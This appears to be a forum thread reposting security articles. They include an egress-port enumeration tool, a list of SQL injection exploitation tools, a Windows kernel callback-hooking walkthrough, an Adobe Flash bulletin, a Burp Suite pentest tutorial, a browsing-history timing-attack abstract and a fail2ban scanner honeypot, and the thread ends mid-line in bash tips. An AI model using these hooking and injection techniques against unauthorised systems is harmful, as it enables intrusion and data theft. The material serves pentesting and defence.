Nytro

Egresser - Tool to Enumerate Outbound Firewall Rules Egresser is a tool to enumerate outbound firewall rules, designed for penetration testers to assess whether egress filtering is adequate from within a corporate network. Probing each TCP port in turn, the Egresser server will respond with the client’s source IP address and port, allowing the client to determine whether or not the outbound port is permitted (both on IPv4 and IPv6) and to assess whether NAT traversal is likely to be taking place. How it Works The server-side script works in combination with Iptables - redirecting all TCP traffic to port 8080 where the ‘real’ server resides. The server-side script is written in Perl and is a pre-forking server utilising Net::Server::Prefork, listening on both IPv4 and IPv6 if available. Any TCP connection results in a simple response containing a null terminated string made up of the connecting client’s IP and port. Feel free to use Telnet to interact with the service if you are in a restricted environment without access to the Egresser client (our Egresser server can be found at egresser.labs.cyberis.co.uk, which you are free to use for legitimate purposes). The client is also written in Perl and is threaded for speed. By default it will scan TCP ports 1-1024, although this is configurable within the script. It is possible to force IPv4 with the ‘-4’ command line argument, or IPv6 with ‘-6’; by default it will choose the protocol preferred by your operating system. If you want to explicitly list all open/closed ports, specify the verbose flag (-v), as normal output is a concise summary of permitted ports only. Why? It is recommended that outbound firewall rules are restricted within corporate environments to ensure perimeter controls are not easily circumvented. For example, inadequate egress filtering within an organisation would allow a malicious user to trivially bypass a web proxy providing filtering/AV/logging simply by changing a browser’s connection settings. Many other examples also exist - many worms spread over SMB protocols, malware can use numerous channels to exfiltrate data, and potentially unauthorised software (e.g. torrent/P2P file sharing) can freely operate, wasting corporate resources and significantly increasing the likelihood of malicious code being introduced into the environment. Generally, it is recommended that all outbound protocols should be restricted, allowing exceptions from specific hosts on a case-by-case basis. Web browsing should be conducted via dedicated web proxies only, with any attempted direct connections logged by the perimeter firewall and investigated as necessary. Egresser is a simple to use tool to allow a penetration tester to quickly enumerate allowed ports within a corporate environment. Download Egresser (client and server) can be downloaded from our GitHub respoitory - https://github.com/Cyberisltd/Egresser. Screenshot Posted by Cyberis at 16:16 Sursa: Cyberis Blog: Egresser - Tool to Enumerate Outbound Firewall Rules

10 Useful SQL Injection Tool For Pen Testers! [TABLE] [TR] [TD]Friday, June 13, 2014: An SQL injection attack is a code injection attack that is used to exploit web applications and websites. It is one of the most common methods for hackers to get into your system. Learning such attacks are important for anyone looking to perform their own exploits. Here are 10 of the most powerful tools that aid in performing SQL Injection attacks. [/TD] [TD] [/TD] [/TR] [/TABLE] 1. BSQL Hacker BSQL Hacker aims for experienced users as well as beginners who want to automate SQL Injections (especially Blind SQL Injections). It allows metasploit alike exploit repository to share and update exploits. 2. The Mole Mole is an automatic SQL Injection exploitation tool. Only by providing a vulnerable URL and a valid string on the site can it detect the injection and exploit it, either by using the union technique or a boolean query based technique. The Mole uses a command based interface, allowing the user to indicate the action he wants to perform easily. The CLI also provides auto-completion on both commands and command arguments, making the user type as less as possible. 3. Pangolin Pangolin is a penetration testing, SQL Injection test tool for database security. It finds SQL Injection vulnerabilities.Its goal is to detect and take inform you of SQL injection vulnerabilities in web applications. 4. Sqlmap Sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. 5. Havij Havij is an automated SQL Injection tool that helps penetration testers to find and exploit SQL Injection vulnerabilities on a web page. It can take advantage of a vulnerable web application. By using this software, user can perform back-end database fingerprinting, retrieve DBMS login names and password hashes, dump tables and columns, fetch data from the database, execute SQL statements against the server, and even access the underlying file system and execute operating system shell commands. 6. Enema SQLi Enema is not auto-hacking software for script kiddies. This is dynamic tool for professional pentesters. 7. Sqlninja Sqlninja is a tool targeted to exploit SQL Injection vulnerabilities on a web application that uses Microsoft SQL Server as its back-end. 8. sqlsus Written using the Perl programming language, this is an open source penetration testing tool for MySQL Injection and takeover. 9. Safe3 SQL Injector Safe3SI is one of the most powerful and easy usage penetration tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a AI detection engine. 10. SQL Poizon This tool includes php , asp , rfi , lf dorks that can be used for penetration testing. Sursa: 10 Useful SQL Injection Tool For Pen Testers!

[h=3]OkayToCloseProcedure callback kernel hook[/h]Hi , During the last few weeks I was busy exploring the internal working of Handles under Windows , by disassembling and decompiling certain kernel (ntoskrnl.exe) functions under my Windows 7 32-bit machine.In the current time I am preparing a paper to describe and explain what I learned about Handles. But today I’m here to discuss an interesting function pointer hook that I found while decompiling and exploring the ObpCloseHandleEntry function. (Source codes below). A function pointer hook consists of overwriting a callback function pointer so when a kernel routine will call the callback function, the hook function will be called instead . The function pointer that we will be hooking in this article is the OkayToCloseProcedure callback that exists in the _OBJECT_TYPE_INITIALIZER structure which is an element of the OBJECT_TYPE struct. Every object in Windows has an OBJECT_TYPE structure which specifies the object type name , number of opened handles to this object type ...etc OBJECT_TYPE also stores a type info structure (_OBJECT_TYPE_INITIALIZER) that has a group of callback functions (OpenProcedure ,CloseProcedure…) . All OBJECT_TYPE structures pointers are stored in the unexported ObTypeIndexTable array. As I said earlier , the OkayToCloseProcedure is called inside ObpCloseHandleEntry function.In general this function (if the supplied handle is not protected from being closed) frees the handle table entry , decrements the object’s handle count and reference count. Another case when the handle will not be closed is if the OkayToCloseProcedure returned 0 , in this case the ObpCloseHandleTableEntry returns STATUS_HANDLE_NOT_CLOSABLE. I will discuss handles in more details in my future blog posts. So how the OkayToCloseProcedure is called ? ObpCloseHandleTableEntry function actually gets the Object (which the handle is opened to) header (_OBJECT_HEADER). A pointer to the object type structure (_OBJECT_TYPE) is then obtained by accessing the ObTypeIndexTable array using the Object Type Index from the object header (ObTypeIndexTable[ObjectHeader->TypeIndex]). The function will access the OkayToCloseProcedure field and check if it’s NULL , if that’s true the function will proceed to other checks (check if the handle is protected from being closed). If the OkayToCloseProcedure field isn’t NULL , the function will proceed to call the callback function. If the callback function returns 0 the handle cannot be closed and ObpCloseHandleTableEntry will return STATUS_HANDLE_NOT_CLOSABLE. If it returns a value other than 0 we will proceed to the other checks as it happens when the OkayToCloseProcedure is NULL. An additional point is that For some reason , the OkayToCloseProcedure must always run within the context of the process that opened the handle in the first place (a call to KeStackAttachProcess). I don’t think that this would be a problem if ObpCloseHandleTableEntry is called as a result of calling ZwClose because we’ll be running in the context of the process that opened the handle. But if ObpCloseHandleTableEntry was called from another process context and tried to close another process’s handle table entry the OkayToCloseProcedure must run in that process context. That’s why ObpCloseHandleTableEntry takes a pointer to the process object (owner of the handle) as a parameter. Applying the hook : Now after we had a quick overview of what’s happening , let’s try and apply the hook on the OBJECT_TYPE_INITIALIZER’s OkayToCloseProcedure field. I applied the hook on the Process object type , we can obtain a pointer to the process object type by taking advantage of the exported PsProcessType , it’s actually a pointer to a pointer to the process’s object type. Here’s a list containing the exported object types : POBJECT_TYPE *ExEventObjectType; POBJECT_TYPE *ExSemaphoreObjectType; POBJECT_TYPE *IoFileObjectType; POBJECT_TYPE *PsThreadType; POBJECT_TYPE *SeTokenObjectType; POBJECT_TYPE *PsProcessType; POBJECT_TYPE *TmEnlistmentObjectType; POBJECT_TYPE *TmResourceManagerObjectType; POBJECT_TYPE *TmTransactionManagerObjectType; POBJECT_TYPE *TmTransactionObjectType; A second way to get an object’s type is by getting an existing object’s pointer and then pass it to the exported kernel function ObGetObjectType which will return a pointer to the object’s type. A third way is to get a pointer to the ObTypeIndexTable array, it’s unexported by the kernel but there are multiple functions using it including the exported ObGetObjectType function.So the address can be extracted from the function's opcodes , but that will introduce another compatibility problem. After getting the pointer to the ObTypeIndexTable you'll have to walk through the whole table and preform a string comparison to the target's object type name ("Process","Thread" ...etc) against the Name field in each _OBJECT_TYPE structure. In my case I hooked the Process object type , and I introduced in my code the 1st and the 2nd methods (second one commented). My hook isn’t executing any malicious code !! it’s just telling us (using DbgPrint) that an attempt to close an open handle to a process was made. “An attempt” means that we’re not sure "yet" if the handle will be closed or not because other checks are made after a successful call to the callback.And by a successful call , I mean that the callback must return a value different than 0 that’s why the hook function is returning 1. I said earlier that the ObpCloseHandleTableEntry will proceed to check if the handle is protected from being closed (after returning from the callback) if the OkayToCloseProcedure is null or if it exists and returns 1 , that's why it’s crucial that our hook returns 1.One more thing , I’ve done a small check to see if the object type’s OkayToCloseProcedure is already NULL before hooking it (avoiding issues). Example : For example when closing a handle to a process opened by OpenProcess a debug message will display the handle value and the process who opened the handle. As you can see "TestOpenProcess.exe" just closed a handle "0x1c" to a process that it opened using OpenProcess(). P.S : The hook is version specific. Source codes : Decompiled ObpCloseHandleTableEntry : [C] ObpCloseHandleTableEntry - Pastebin.com Driver Source Code : [C] OkayToCloseProcedure Hook - Pastebin.com Your comments are welcome. Souhail Hammou. @Dark_Puzzle Sursa: Reverse Engineering 0x4 Fun: OkayToCloseProcedure callback kernel hook

[h=1]Adobe Security Bulletin[/h] [h=3]Security updates available for Adobe Flash Player[/h] Release date: July 8, 2014 Vulnerability identifier: APSB14-17 Priority: See table below CVE number: CVE-2014-0537, CVE-2014-0539, CVE-2014-4671 Platform: All Platforms [h=3]Summary[/h] Adobe has released security updates for Adobe Flash Player 14.0.0.125 and earlier versions for Windows and Macintosh and Adobe Flash Player 11.2.202.378 and earlier versions for Linux. These updates address vulnerabilities that could potentially allow an attacker to take control of the affected system. Adobe recommends users update their product installations to the latest versions: Users of Adobe Flash Player 14.0.0.125 and earlier versions for Windows and Macintosh should update to Adobe Flash Player 14.0.0.145. Users of Adobe Flash Player 11.2.202.378 and earlier versions for Linux should update to Adobe Flash Player 11.2.202.394. Adobe Flash Player 14.0.0.125 installed with Google Chrome will automatically be updated to the latest Google Chrome version, which will include Adobe Flash Player 14.0.0.145 for Windows, Macintosh and Linux. Adobe Flash Player 14.0.0.125 installed with Internet Explorer 10 will automatically be updated to the latest Internet Explorer 10 version, which will include Adobe Flash Player 14.0.0.145 for Windows 8.0. Adobe Flash Player 14.0.0.125 installed with Internet Explorer 11 will automatically be updated to the latest Internet Explorer 11 version, which will include Adobe Flash Player 14.0.0.145 for Windows 8.1. Users of the Adobe AIR 14.0.0.110 SDK and earlier versions should update to the Adobe AIR 14.0.0.137 SDK. Users of the Adobe AIR 14.0.0.110 SDK & Compiler and earlier versions should update to the Adobe AIR 14.0.0.137 SDK & Compiler. Users of Adobe AIR 14.0.0.110 and earlier versions for Android should update to Adobe AIR 14.0.0.137. [h=3]Affected software versions[/h] Adobe Flash Player 14.0.0.125 and earlier versions for Windows and Macintosh Adobe Flash Player 11.2.202.378 and earlier versions for Linux Adobe AIR 14.0.0.110 SDK and earlier versions Adobe AIR 14.0.0.110 SDK & Compiler and earlier versions Adobe AIR 14.0.0.110 and earlier versions for Android To verify the version of Adobe Flash Player installed on your system, access the About Flash Player page, or right-click on content running in Flash Player and select "About Adobe (or Macromedia) Flash Player" from the menu. If you use multiple browsers, perform the check for each browser you have installed on your system. To verify the version of Adobe AIR installed on your system, follow the instructions in the Adobe AIR TechNote. [h=3]Solution[/h] Adobe recommends users update their software installations by following the instructions Adobe recommends users of Adobe Flash Player 14.0.0.125 and earlier versions for Windows and Macintosh update to the newest version 14.0.0.145 by downloading it from the Adobe Flash Player Download Center, or via the update mechanism within the product when prompted. Adobe recommends users of Adobe Flash Player 11.2.202.378 and earlier versions for Linux update to Adobe Flash Player 11.2.202.394 by downloading it from the Adobe Flash Player Download Center. Adobe Flash Player 14.0.0.125 installed with Google Chrome will automatically be updated to the latest Google Chrome version, which will include Adobe Flash Player 14.0.0.145 for Windows, Macintosh and Linux. For users of Flash Player 14.0.0.125 and earlier versions for Windows and Macintosh, who cannot update to Flash Player 14.0.0.145, Adobe has made available Flash Player 13.0.0.231, which can be downloaded from Archived Flash Player versions. Adobe Flash Player 14.0.0.125 installed with Internet Explorer 10 will automatically be updated to the latest Internet Explorer 10 version, which will include Adobe Flash Player 14.0.0.145 for Windows 8.0. Adobe Flash Player 14.0.0.125 installed with Internet Explorer 11 will automatically be updated to the latest Internet Explorer 11 version, which will include Adobe Flash Player 14.0.0.145 for Windows 8.1. Users of the Adobe AIR 14.0.0.110 SDK should update to the Adobe AIR 14.0.0.137 SDK. Users of the Adobe AIR 14.0.0.110 SDK & Compiler and earlier versions should update to the Adobe AIR 14.0.0.137 SDK & Compiler. Users of Adobe AIR 14.0.0.110 and earlier versions for Android should update to Adobe AIR 14.0.0.137. [h=3]Priority and severity ratings[/h] Adobe categorizes these updates with the following priority ratings and recommends users update their installation to the newest version: [TABLE=width: 100%] [TR] [TH=width: 60]Product[/TH] [TH]Updated version[/TH] [TH]Platform[/TH] [TH=align: center]Priority rating[/TH] [/TR] [TR] [TD=width: 120]Adobe Flash Player[/TD] [TD=width: 120]14.0.0.145 [/TD] [TD=width: 120]Windows and Macintosh [/TD] [TD=width: 120, align: center]1[/TD] [/TR] [TR] [TD] [/TD] [TD]14.0.0.145 [/TD] [TD]Internet Explorer 10 for Windows 8.0[/TD] [TD=align: center]1[/TD] [/TR] [TR] [TD] [/TD] [TD]14.0.0.145 [/TD] [TD]Internet Explorer 11 for Windows 8.1[/TD] [TD=align: center]1[/TD] [/TR] [TR] [TD] [/TD] [TD]14.0.0.145 [/TD] [TD]Chrome for Windows, Macintosh and Linux[/TD] [TD=align: center]1[/TD] [/TR] [TR] [TD=width: 60] [/TD] [TD]11.2.202.394[/TD] [TD]Linux[/TD] [TD=align: center]3[/TD] [/TR] [TR] [TD]Adobe AIR[/TD] [TD]14.0.0.137[/TD] [TD]Android[/TD] [TD=align: center]3[/TD] [/TR] [TR] [TD]Adobe AIR SDK and Compiler[/TD] [TD]14.0.0.137 [/TD] [TD]Windows, Macintosh, Android and iOS[/TD] [TD=align: center]3[/TD] [/TR] [TR] [TD]Adobe AIR SDK[/TD] [TD]14.0.0.137 [/TD] [TD]Windows, Macintosh, Android and iOS [/TD] [TD=align: center]3[/TD] [/TR] [/TABLE] These updates address critical vulnerabilities in the software. [h=3]Details[/h] Adobe has released security updates for Adobe Flash Player 14.0.0.125 and earlier versions for Windows and Macintosh and Adobe Flash Player 11.2.202.378 and earlier versions for Linux. These updates address vulnerabilities that could potentially allow an attacker to take control of the affected system. Adobe recommends users update their product installations to the latest versions: Users of Adobe Flash Player 14.0.0.125 and earlier versions for Windows and Macintosh should update to Adobe Flash Player 14.0.0.145. Users of Adobe Flash Player 11.2.202.378 and earlier versions for Linux should update to Adobe Flash Player 11.2.202.394. Adobe Flash Player 14.0.0.125 installed with Google Chrome will automatically be updated to the latest Google Chrome version, which will include Adobe Flash Player 14.0.0.145 for Windows, Macintosh and Linux. Adobe Flash Player 14.0.0.125 installed with Internet Explorer 10 will automatically be updated to the latest Internet Explorer 10 version, which will include Adobe Flash Player 14.0.0.145 for Windows 8.0. Adobe Flash Player 14.0.0.125 installed with Internet Explorer 11 will automatically be updated to the latest Internet Explorer 11 version, which will include Adobe Flash Player 14.0.0.145 for Windows 8.1. Users of the Adobe AIR 14.0.0.110 SDK and earlier versions should update to the Adobe AIR 14.0.0.137 SDK. Users of the Adobe AIR 14.0.0.110 SDK & Compiler and earlier versions should update to the Adobe AIR 14.0.0.137 SDK & Compiler. Users of Adobe AIR 14.0.0.110 and earlier versions for Android should update to Adobe AIR 14.0.0.137. These updates include additional validation checks to ensure that Flash Player rejects malicious content from vulnerable JSONP callback APIs (CVE-2014-4671). These updates resolve security bypass vulnerabilities (CVE-2014-0537, CVE-2014-0539). [TABLE=width: 100%] [TR] [TH=width: 200]Affected Software[/TH] [TH] [/TH] [TH=width: 140]Recommended Player Update[/TH] [TH=width: 180]Availability[/TH] [/TR] [TR] [TD=width: 200]Flash Player 14.0.0.125 and earlier versions for Windows and Macintosh[/TD] [TD] [/TD] [TD=width: 140]14.0.0.145[/TD] [TD=width: 180]Flash Player Download Center[/TD] [/TR] [TR] [TD]Flash Player 14.0.0.125 and earlier versions (network distribution)[/TD] [TD] [/TD] [TD]14.0.0.145 [/TD] [TD]Flash Player Licensing[/TD] [/TR] [TR] [TD=width: 200]Flash Player 11.2.202.378 and earlier for Linux[/TD] [TD] [/TD] [TD=width: 140]11.2.202.394[/TD] [TD=width: 180]Flash Player Download Center[/TD] [/TR] [TR] [TD=width: 200]Flash Player 14.0.0.125 and earlier for Chrome (Windows, Macintosh and Linux)[/TD] [TD] [/TD] [TD=width: 140]14.0.0.145 [/TD] [TD=width: 180]Google Chrome Releases[/TD] [/TR] [TR] [TD=width: 200]Flash Player 14.0.0.125 and earlier in Internet Explorer 10 for Windows 8.0[/TD] [TD] [/TD] [TD=width: 140]14.0.0.145 [/TD] [TD=width: 180]Microsoft Security Advisory[/TD] [/TR] [TR] [TD=width: 200]Flash Player 14.0.0.125 and earlier in Internet Explorer 11 for Windows 8.1[/TD] [TD] [/TD] [TD=width: 140]14.0.0.145 [/TD] [TD=width: 180]Microsoft Security Advisory[/TD] [/TR] [TR] [TD]AIR 14.0.0.110 SDK & Compiler and earlier versions[/TD] [TD] [/TD] [TD]14.0.0.137[/TD] [TD]AIR SDK Download[/TD] [/TR] [TR] [TD]AIR 14.0.0.110 SDK and earlier versions[/TD] [TD] [/TD] [TD]14.0.0.137 [/TD] [TD]AIR SDK Download[/TD] [/TR] [TR] [TD]AIR 14.0.0.110 and earlier versions for Android[/TD] [TD] [/TD] [TD]14.0.0.137[/TD] [TD]Google Play[/TD] [/TR] [/TABLE] [h=3]Acknowledgments[/h] Adobe would like to thank the following individuals and organizations for reporting the relevant issues and for working with Adobe to help protect our customers: Michele Spagnuolo (CVE-2014-4671) Masato Kinugawa (CVE-2014-0537, CVE-2014-0539) Sursa: https://helpx.adobe.com/security/products/flash-player/apsb14-17.html

Burp Suite Tutorial – Web Application Penetration Testing Author: Royce Davis Burp Suite from Portswigger is one of my favorite tools to use when performing a Web Application Penetration Test. The following is a step-by-step Burp Suite Tutorial. I will demonstrate how to properly configure and utilize many of Burp’s features. After reading this, you should be able to perform a thorough web application penetration test. This will be the first in a two-part article series. What we will cover: Outbound SOCKS Proxy Configuration Intercept & Scope Configuration Manual Application Walkthrough Using The Spider & Discover Using The Repeater Tab Using The Intruder Tab Text Specific Searching Using The Automated Scanner Disclaimer: Testing web applications that you do not have written authorization to test is illegal and punishable by law. Burp Suite Tutorial – Configure Outbound SOCKS Proxy Depending on the scope of your engagement, it may be necessary to tunnel your burp traffic through an outbound socks proxy. This ensures that testing traffic originates from your approved testing environment. I prefer to use a simple SSH which works nicely for this purpose. SSH out to your testing server and setup a socks proxy on your localhost via the ‘–D’ option like this. ssh –D 9292 –l username servername Navigate to the Options tab located near the far right of the top menu in Burp. From the “Connections” sub-tab, Scroll down to the third section labeled “SOCKS Proxy”. Type in localhost for the host option and 9292 for the port option. Figure #1 – SOCKS Proxy Settings Now burp is configured to route traffic through your outbound SSH tunnel. Configure your browser’s proxy settings to use burp. Navigate to What Is My IP - The IP Address Experts Since 1999 and ensure your IP address is coming from your testing environment. #ProTip I use a separate browser for web application testing. This ensures I don’t accidently pass any personal data to one of my client’s sites such as the password to my gmail account for example. I also prefer to use a proxy switching addon such as “SwitchySharp” for Google Chrome. This allows me to easily switch back and forth between various proxy configurations that I might need during different engagements. Here is what my configuration settings look like for Burp. Figure #2 – SwitchySharp Proxy Settings Burp Suite Tutorial – Configure Intercept Behavior The next thing I do is configure the proxy intercept feature. Set it to only pause on requests and responses to and from the target site. Navigate to the “Proxy” tab under the “Options” sub-tab. The second and third headings display the configurable options for intercepting requests and responses. Uncheck the defaults and check “URL Is in target scope”. Next turn intercept off as it is not needed for the initial application walkthrough. From the “Intercept” sub-tab ensure that the toggle button reads “Intercept is off” Figure #3 – Proxy Intercept Settings Burp Suite Tutorial – Application Walkthrough For some reason, a lot of people like to skip this step. I don’t recommend this. During the initial walkthrough of your target application it is important to manually click through as much of the site as possible. Try and resist the urge to start analyzing things in burp right a way. Instead, spend a good while and click on every link and view every page. Just like a normal user might do. Think about how the site works or how it’s “supposed” to work. You should be thinking about the following questions: What types of actions can someone do, both from an authenticated and unauthenticated perspective? Do any requests appear to be processed by a server-side job or database operation? Is there any information being displayed that I can control If you stumble upon any input forms, be sure to do some manual test cases. Entering a single tick and hit submit on any Search form or zip code field you come across. You might be surprised at how often security vulnerabilities are discovered by curious exploration and not by automated scanning. Burp Suite Tutorial – Configure Your Target Scope Now that you have a good feel for how your target application works its time to start analyzing some GETs and Posts. However, before doing any testing with burp it’s a good idea to properly define your target scope. This will ensure that you don’t send any potentially malicious traffic to websites that you are not authorized to test. #ProTip I am authorized to test Pentest Geek - Penetration Testing Tutorials - Information Security Professionals. *You* are not. Head over to the “Target” tab and then the “Site map” sub-tab. Select your target website from the left display pane. Right click and choose “Add to scope’. Next highlight all other sites in the display pane, right click and select Remove from scope. If you’ve done this correctly your scope should look something like the image below. Figure #4 – Scope Settings Burp Suite Tutorial – Initial Pilfering Click on the “Target” tab and the “Site Map” sub tab. Scroll down to the appropriate site branch and expand all the arrows until you get a complete picture of your target site. This should include all of the individual pages you browsed as well as any javascript and css files. Take a moment to soak all of this in, try and spot files that you don’t recognize from the manual walkthrough. You can view the response of each request in a number of different formats located on the “Resposne” tab of the bottom right display pane. Browse through each respond searching for interesting gems. Things you might be surprised to find include: Developer comments Email addresses Usernames & passwords if you’re lucky Path disclosure to other files/directories Etc… Burp Suite Tutorial – Search Specific Keywords You can also leverage burp to do some of the heavy lifting for you. Right click on a node, from the “Engagement tools” sub-menu select “Search”. One of my favorite searches is to scan for the string “set-cookie”. This lets you know which pages are interesting enough to require a unique cookie. Cookies are commonly used by web application developers to differentiate between requests from multiple site users. This ensures that user ‘A’ doesn’t get to view the information belonging to user ‘B’. For this reason it is a good idea to identify these pages and pay special attention to them. Figure #5 – Search Specific Keywords Burp Suite Tutorial – Using Spider and Discover After a good bit of manual poking and prodding it’s usually beneficial to allow burp to spider the host. Just right click on the target’s root branch in the sitemap and select “Spider this host”. Figure #6 – Spider Feature Once the spider has finished, go back to your site-map and see if you picked up any new pages. If you have, take a manual look at them in your browser and also within burp to see if they produce anything interesting. Are there any new login prompts, or input boxes for example? If you’re still not satisfied with all that you have found you can try Burp’s discovery module. Right click on the target site’s root branch and from the “Engagement tools” sub-menu select “Discover Content”. On most sites this module can and will run for a long time so it’s a good practice to keep an eye on it. Make sure that it completes or shut it off manually before it runs for too long. Burp Suite Tutorial – Using The Repeater The Repeater tab is arguably one of the most useful features in Burp Suite. I use it hundreds of times on every web application that I test. It is extremely valuable and also incredibly simple to use. Just right click on any request within the “Target” or “Proxy” tab and select “Send to Repeater”. Next click over to the “Repeater” tab and hit “Go”. You will see something like this. Figure #7 – The Repeater Here you can manipulate any part of the HTTP request headers and see what the response looks like. I recommend spending some good time here playing with every aspect of the HTTP request. Especial any GET/POST parameters that are besting sent along with the request. Burp Suite Tutorial – Using The Intruder If you are limited on time and have too many requests and individual parameters to do a thorough manual test. The Burp Intruder is a really great and powerful way to perform automated and semi-targeted fuzzing. You can use it against one or more parameters in an HTTP request. Right click on any request just as we did before and this time select “Send to Intruder”. Head over to the “Intruder” tab and click on the “Positions” sub-tab. You should see something like this. Figure #8 – Intruder Positions I recommend using the “Clear” button to remove what is selected at first. The default behavior is to test everything with an ‘=’ sign. Highlight the parameters you wan’t to fuzz and click “Add”. Next you need to go to the “Payloads” sub-tab and tell Burp which test cases to perform during the fuzzing run. A good one to start off with is “Fuzzing – full”. this will send a number of basic test cases to every parameter that you highlighted on the “Positions” sub-tab. Figure #9 – Intruder Payloads Burp Suite Tutorial – Automated Scanning The last thing that I do when testing a web application is perform an automated scan using Burp. Back on your “Site map” sub-tab, right click on the root branch of your target site and select “Passively scan this host”. This will analyze every request and response that you have generated during your burp session. It will produce a vulnerability advisor on the “Results” sub-tab located on the “Scanner” tab. I like to do the passive scan first because it doesn’t send any traffic to the target server. Alternatively you can configure Burp to passively analyze requests and responses automatically in the “Live scanning” sub-tab. You can also do this for Active Scanning but I do not recommend it. When doing an active scan I like to use the following settings. Figure #10 – Active Scan Settings Burp Suite Tutorial – End Of Part1 Hopefully you’ve learned some useful techniques for performing Web Application Penetration Testing. In part #2, we will go over some more of Burp’s features. We will cover reporting and exporting session data for collaboration with other pentesters. I look forward to seeing you there. Thank you for reading and as always, Hack responsibly. Sursa: Burp Suite Tutorial - Web Application Penetration Testing

[h=1]SSL checklist for pentesters[/h]These slides are from Jerome Smith’s presentation at BSides MCR 2014. It tackles the subject of SSL/TLS testing from the viewpoint of a penetration tester. It is a practical guide, broad in scope, focusing on pitfalls and how to check issues manually (as much as possible). Download: https://www.nccgroup.com/media/481379/ssl-checklist-for-pentesters-bsides-mcr.pdf

Scriptless Timing Attacks onWeb Browser Privacy Mario Heiderich Ruhr-University Bochum, Germany mario.heiderich@rub.de Bin Liang, Wei You, Liangkun Liu, Wenchang Shi Renmin University of China, Beijing, P. R. China {liangb, youwei, lacon, wenchang}@ruc.edu.cn Abstract—The existing Web timing attack methods are heavily dependent on executing client-side scripts to measure the time. However, many techniques have been proposed to block the executions of suspicious scripts recently. This paper presents a novel timing attack method to sniff users’ browsing histories without executing any scripts. Our method is based on the fact that when a resource is loaded from the local cache, its rendering process should begin earlier than when it is loaded from a remote website. We leverage some Cascading Style Sheets (CSS) features to indirectly monitor the rendering of the target resource. Three practical attack vectors are developed for different attack scenarios and applied to six popular desktop and mobile browsers. The evaluation shows that our method can effectively sniff users’ browsing histories with very high precision. We believe that modern browsers protected by script-blocking techniques are still likely to suffer serious privacy leakage threats. Keywords-timing attack; scriptless attack; Web privacy; browsing history; Download: http://www.nds.rub.de/media/nds/veroeffentlichungen/2014/07/09/DSN_paper.pdf

Notice to defendant: You have been sued. You may employ an attorney. lf you, or your attorney, do not file awritten answer with the clerk who issued this citation by 10:00 a.m. on the first Monday following the expiration of twenty,days after you were served this citation and petition, a default judgment may be taken against you. Sursa:https://www.scribd.com/fullscreen/233081133?access_key=key-WFujAqEI3BioFxNO43R3

How to Block Automated Scanners from Scanning your Site By Bogdan Calin on JUL 09, 2014 - 08:30am This blog post describes how to block automated scanners from scanning your website. This should work with any modern web scanner parsing robots.txt (all popular web scanners do this). Website owners use the robots.txt file to give instructions about their site to web robots. The "/robots.txt" file is a text file, with one or more records, and usually contains a list of directories/URLs that should not be indexed by search engines. User-agent: * Disallow: /cgi-bin/ In this example, search engines are instructed not to index the directory /cgi-bin/. Web scanners parse and crawl all the URLs from robots.txt because administrators usually place administrative interfaces or other high-value resources (that could be very interesting from a security point of view) there. To configure our automated scanner honeypot, we'll start by adding an entry in robots.txt to a directory. This directory does not contain any other content used by the site. User-agent: * Disallow: /dontVisitMe/ Normal visitors would not know about this directory since it is not linked from the site. Also, search engines would not visit this directory since they are restricted from robots.txt. Only web scanners or curious people would know about this directory. This file contains a hidden form that is only visible to web scanners as they ignore CSS stylesheets. The HTML of this page is similar to: In the sample code, we placed a div that includes a form where the div is set to be invisible. The form has a single input, and is pointing to a file named dontdoit.php. When this page is visited by normal visitors with a browser, they will see the following: A web scanner, on the other hand, will see something else because it ignores CSS style: The web scanner will submit this form and start testing the form inputs with various payloads looking for vulnerabilities. At this point if somebody visits the file dontdoit.php, it's either a web scanner or a hacker. We have two options: either log the hacking attempt or automatically block the IP address making the request. If we want to automatically block the IP address making the request we could use a tool such as fail2ban. Fail2ban scans log files (e.g. /var/log/apache/error_log) and bans IPs that show malicious signs, such as too many password failures, and exploit seeking. We could log all the requests to dontdoit.php into a log file and configure fail2ban to parse this log file and automatically temporary block from the firewall IP addresses listed in this log file . Sample fail2ban configuration: /etc/fail2ban/jail.conf [block-automated-scanners] enabled = true port = 80,443 filter = block-automated-scanners # path to your logs logpath = /var/log/apache2/automated-scanners.log # max number of hits maxretry = 1 # bantime in seconds - set negative to ban forever (18000 = 5 hours) bantime = 18000 # action action = iptables-multiport[name=HTTP, port="80,443", protocol=tcp] sendmail-whois[name=block-automated-scanners, dest=admin@site.com, sender=fail2ban@site.com] /etc/fail2ban/filter.d/block-automated-scanners.conf # Fail2Ban configuration file # # Author: Bogdan Calin # [Definition] # Option: failregex failregex = \[hit from <HOST>\] # Option: ignoreregex # Notes.: regex to ignore. If this regex matches, the line is ignored. # Values: TEXT # ignoreregex = Sursa: http://www.acunetix.com/blog/web-security-zone/block-automated-scanners/

I have marked with a * those which I think are absolutely essential Items for each section are sorted by oldest to newest. Come back soon for more! BASH * In bash, 'ctrl-r' searches your command history as you type - Input from the commandline as if it were a file by replacing 'command < file.in' with 'command <<< "some input text"' - '^' is a sed-like operator to replace chars from last command 'ls docs; ^docs^web^' is equal to 'ls web'. The second argument can be empty. * '!!:n' selects the nth argument of the last command, and '!$' the last arg 'ls file1 file2 file3; cat !!:1-2' shows all files and cats only 1 and 2 - More in-line substitutions: http://tiny.cc/ecv0cw http://tiny.cc/8zbltw - 'nohup ./long_script &' to leave stuff in background even if you logout - 'cd -' change to the previous directory you were working on - 'ctrl-x ctrl-e' opens an editor to work with long or complex command lines * Use traps for cleaning up bash scripts on exit http://tiny.cc/traps * 'shopt -s cdspell' automatically fixes your 'cd folder' spelling mistakes * Add 'set editing-mode vi' in your ~/.inputrc to use the vi keybindings for bash and all readline-enabled applications (python, mysql, etc) PSEUDO ALIASES FOR COMMONLY USED LONG COMMANDS - function lt() { ls -ltrsa "$@" | tail; } - function psgrep() { ps axuf | grep -v grep | grep "$@" -i --color=auto; } - function fname() { find . -iname "*$@*"; } - function remove_lines_from() { grep -F -x -v -f $2 $1; } removes lines from $1 if they appear in $2 - alias pp="ps axuf | pager" - alias sum="xargs | tr ' ' '+' | bc" ## Usage: echo 1 2 3 | sum - function mcd() { mkdir $1 && cd $1; } VIM - ':set spell' activates vim spellchecker. Use ']s' and '[s' to move between mistakes, 'zg' adds to the dictionary, 'z=' suggests correctly spelled words - check my .vimrc http://tiny.cc/qxzktw and here http://tiny.cc/kzzktw for more TOOLS * 'htop' instead of 